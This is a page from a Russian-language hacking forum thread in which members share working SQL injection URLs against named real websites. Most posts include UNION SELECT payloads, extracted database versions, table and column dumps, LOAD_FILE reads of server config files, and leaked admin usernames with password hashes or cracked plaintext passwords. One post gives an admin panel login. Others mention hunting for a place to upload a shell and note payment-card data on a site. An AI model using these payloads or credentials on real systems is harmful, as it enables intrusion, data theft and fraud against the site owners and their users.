ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 981 из 1242 « Первая < 481881931971 977 978 979 980 981 982 983 984 985 99110311081 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #9801  
Старый 10.06.2009, 15:53
Аватар для AlexSatter
AlexSatter
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
Провел на форуме:
1168802

Репутация: 298
По умолчанию
PR0, ТИЦ 0
http://www.zhukovs.ru/text.php?id=-9+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,versio n(),user(),database()),9,10,11/*
4.0.20-log:brainz@localhost:brainz
Есть база users, поля подобрал только user_id, user_password... искал где хранится имя пользователя, ... кончилась фантазия.
http://www.zhukovs.ru/text.php?id=-9+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user_i d,user_password),9,10,11+from+users/*
1:76a2173be6393254e72ffa4d6df1030a
Хэш расшифровался легко:
76a2173be6393254e72ffa4d6df1030a = passwd
 
Ответить с цитированием

  #9802  
Старый 10.06.2009, 15:57
Аватар для Dimionx
Dimionx
Познающий
Регистрация: 28.08.2008
Сообщений: 39
Провел на форуме:
243087

Репутация: 12
Отправить сообщение для Dimionx с помощью ICQ
По умолчанию
www.tech-pack.co.nz
[PR: 1]

Код:
http://www.tech-pack.co.nz/page.php?id=11+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database()),6,7,8
Версия - 4.0.26-standard
Юзер - techp@localhost
БД - techp

www.todayskitchens.co.nz
[PR: 2]

Код:
http://www.todayskitchens.co.nz/page.php?id=-11+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database()),6,7,8
Версия - 4.0.26-standard
Юзер - todaysk@localhost
БД - todaysk

www.adventureconcepts.co.nz
[PR: 3]

Код:
http://www.adventureconcepts.co.nz/page.php?id=11+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables
Версия - 5.0.37-standard
Юзер - advent_cms@localhost
БД - advent_cms

Код:
http://www.adventureconcepts.co.nz/page.php?id=11+union+select+1,2,3,4,concat_ws(0x3a,table_name,column_name),6,7,8+from+information_schema.columns
Все таблицы и колонки к ним

www.gearcutting.co.nz
[PR: 1]

Код:
http://www.gearcutting.co.nz/page.php?id=-11+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database()),6,7,8

Версия - 4.0.26-standard
Юзер - gearcms@localhost
БД - gearcms

www.clockworkstudio.co.nz
[PR: 2]

Код:
http://www.clockworkstudio.co.nz/page.php?id=-11'+union+select+1,2,3,4,5,6,concat_ws(0x0b,version(),user(),database()),8,9,10/*
Версия - 4.0.27-standard-log
Юзер - schmoove@ws5.int.mydns.net.nz
БД - clockwork

Табличка с юзерами:

Код:
http://www.clockworkstudio.co.nz/page.php?id=-11'+union+select+1,2,3,4,5,6,concat_ws(0x0b,username,password),8,9,10+from+users+limit+1,1/*
nick
378867a9bad163c4c77062685b3584af:cl0ckw0rk

Админка
Код:
www.clockworkstudio.co.nz/admin/
Код:
Логин - nick
Пасс - cl0ckw0rk
 
Ответить с цитированием

  #9803  
Старый 10.06.2009, 15:58
Аватар для AlexSatter
AlexSatter
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
Провел на форуме:
1168802

Репутация: 298
По умолчанию
PR5
http://www.stadtumbau-ost.info/index.php?request=/service/email-abo/nl-text.php?id=-41+union+select+1,2,concat_ws(0x3a,version(),user( ),database()),4
4.1.22-standard-log:db63113@local2:db63113

PR5, ТИЦ 140
http://www.uapravo.org/text.php?id=-1189+union+select+1,2,3,4,concat_ws(0x3a,version() ,user(),database()),6,7,8,9,10,11
5.0.32-Debian_7etch10-logleps@localhost:uapravo
просмотрел таблицы, что касается пользователей, ничего нет...

PR4, ТИЦ 1400
http://edina-rodina.org/text.php?id=14+and+substring(version(),1,1)=5

PR4
http://www.lennartpersson.se/text.php?ID=910+and+substring(version(),1,1)=5

PR4
http://www.zionmag.org/text.php?id=633+and+substring(version(),1,1)=4

PR4, ТИЦ 10
http://auto.properm.ru/sale/text.php?id=7177+and+substring(version(),1,1)=5/*

PR0, ТИЦ 0
http://realmagazine.ru/rmgid/text.php?id=-604+union+select+1,2,3,4,concat_ws(0x3a,version(), user(),database())
4.1.22-log:simplema_wwwreal@fe80.hc.ru:wwwrealmagaziner_w wwrealmagaziner

PR0, ТИЦ 0
http://www.mdsg.org.uk/text.php?ID=-0+and+substring(version(),1,1)=5
 
Ответить с цитированием

  #9804  
Старый 10.06.2009, 18:09
Аватар для erihtoney
erihtoney
Познающий
Регистрация: 03.03.2009
Сообщений: 86
Провел на форуме:
994199

Репутация: 258
Отправить сообщение для erihtoney с помощью ICQ
По умолчанию
Цитата:
http://www.aman-diir.ae/more_news.php?id=-1+union+select+1,2,concat_ws(0x20,version(),user() ,database()),4,5,6,7+from+news
version: 5.0.45
user: amanmysql@localhost
database: db_news


tables
Цитата:
http://www.aman-diir.ae/more_news.php?id=-1+union+select+1,2,table_name,4,5,6,7+from+informa tion_schema.tables+limit+49,1
columns
Цитата:
http://www.aman-diir.ae/more_news.php?id=-1+union+select+1,2,column_name,4,5,6,7+from+inform ation_schema.columns+where+table_name=%27userlist% 27+limit+2,1
inset into news
columns
Цитата:
News_Language
News_Title
News_Description
News_Priority
News_Date
News_Active
 
Ответить с цитированием

  #9805  
Старый 10.06.2009, 18:09
Аватар для ReduKToR
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
Провел на форуме:
3281634

Репутация: 485


Отправить сообщение для ReduKToR с помощью ICQ
По умолчанию
Цитата:
http://www.aziendegratis.it/sito.php?linkid=-10694+UNION+SELECT+1,version(),3,4,5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2 8,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44, 45/*
4ветка.....тут картон есть....вообщем наздоровье
 
Ответить с цитированием

  #9806  
Старый 10.06.2009, 18:33
Аватар для DezMond™
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию
http://www.vents-spb.ru/products/decor/index.php?cat_id=-234+union+select+1,2,concat_ws(0x3a3a,database(),v ersion()),4,5,6,7,8+from+mysql.user+/*+&item_id=713
sotern::4.1.22

http://www.bosch-home.com.ua/page.php?item_id=-55'+union+select+1,2,LOAD_FILE(0x2F7573722F7777772 F6273682F68746D6C2F696E6465782E706870),4,5,6,7,8,9 +from+mysql.user+/*+

http://www.siemens-pt.com.ua/?item_id=-3'+union+select+1,2,LOAD_FILE(0x2F7573722F7777772F 6273682F68746D6C2F636F6E6669672E706870),4,5,6,7,8, 9+from+mysql.user+/*+
PS папку куда можно залить шелл ненашёл((
 
Ответить с цитированием

  #9807  
Старый 10.06.2009, 18:49
Аватар для ReduKToR
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
Провел на форуме:
3281634

Репутация: 485


Отправить сообщение для ReduKToR с помощью ICQ
По умолчанию
Ну вот еще одна итка
Цитата:
mysqld-5.0.27
Цитата:
http://www.newsway.it/notizie/speciale.asp?idnotizia=-17863+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17/*
Последний раз редактировалось ReduKToR; 10.06.2009 в 18:56..
 
Ответить с цитированием

  #9808  
Старый 10.06.2009, 19:10
Аватар для Rubaka
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию
Київський завод "Росинка"

http://www.rosinka.ua/detnews.php?id=-82/**/UNION/**/SELECT/**/111111111111

Database Version: 4.1.22
Database name: rosinka
User name: u_rosinka@localhost
 
Ответить с цитированием

  #9809  
Старый 10.06.2009, 19:56
Аватар для DezMond™
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию
http://www.superkrovlia.ru/files/popup.php?id=-51+union+select+1,2,3,4,database(),6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 29,30+/*+
vms60_skov

http://www.vniikp.ru/info_page.phtml?item_id=-2108+union+select+concat_ws(0x3a3a,login,password) ,2,3,4,5,6+from+admins+--+
admin::202cb962ac59075b964b07152d234b70 - 123

http://www.ipk-shop.ru/index.php?menu_id=12&type_id=52&subtype_id=1084&it em_id=-46236+union+select+1,2,3,4,database(),6,7,8,9,10,1 1,12,13+from+mysql.user+--+&step=2'
ipkshop

http://www.mgr-n.ru/base.php?tipsd=2&o=1'&variant=-1+union+select+1,2,3,4,5,6,database(),8+/*+
mgr_n_db
 
Ответить с цитированием

  #9810  
Старый 10.06.2009, 20:18
Аватар для erihtoney
erihtoney
Познающий
Регистрация: 03.03.2009
Сообщений: 86
Провел на форуме:
994199

Репутация: 258
Отправить сообщение для erihtoney с помощью ICQ
По умолчанию
Цитата:
http://gshaber.net/guncel.php?guncel_id=-14572+union+select+1,2,3,4,5,concat_ws(0x20,versio n(),user(),database()),7+from+guncel
version 5.0.67-community
user gshaber_gshaber@localhost
database gshaber_gshaber


table of users
Цитата:
http://gshaber.net/guncel.php?guncel_id=-14572+union+select+1,2,3,4,5,table_name,7+from+inf ormation_schema.tables+limit+28,1
columns
Цитата:
http://gshaber.net/guncel.php?guncel_id=-14572+union+select+1,2,3,4,5,column_name,7+from+in formation_schema.columns+where+table_name=char(112 ,111,108,108,95,117,115,101,114)+limit+1,1
and
Цитата:
http://gshaber.net/guncel.php?guncel_id=-14572+union+select+1,2,3,4,5,column_name,7+from+in formation_schema.columns+where+table_name=char(112 ,111,108,108,95,117,115,101,114)+limit+2,1
Цитата:
http://gshaber.net/guncel.php?guncel_id=-14572+union+select+1,2,3,4,5,concat_ws(0x20,userna me,userpass),7+from+poll_user

haber 0530e22dea41e24a039563139cdc215e
 
Ответить с цитированием
Ответ
Страница 981 из 1242 « Первая < 481881931971 977 978 979 980 981 982 983 984 985 99110311081 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ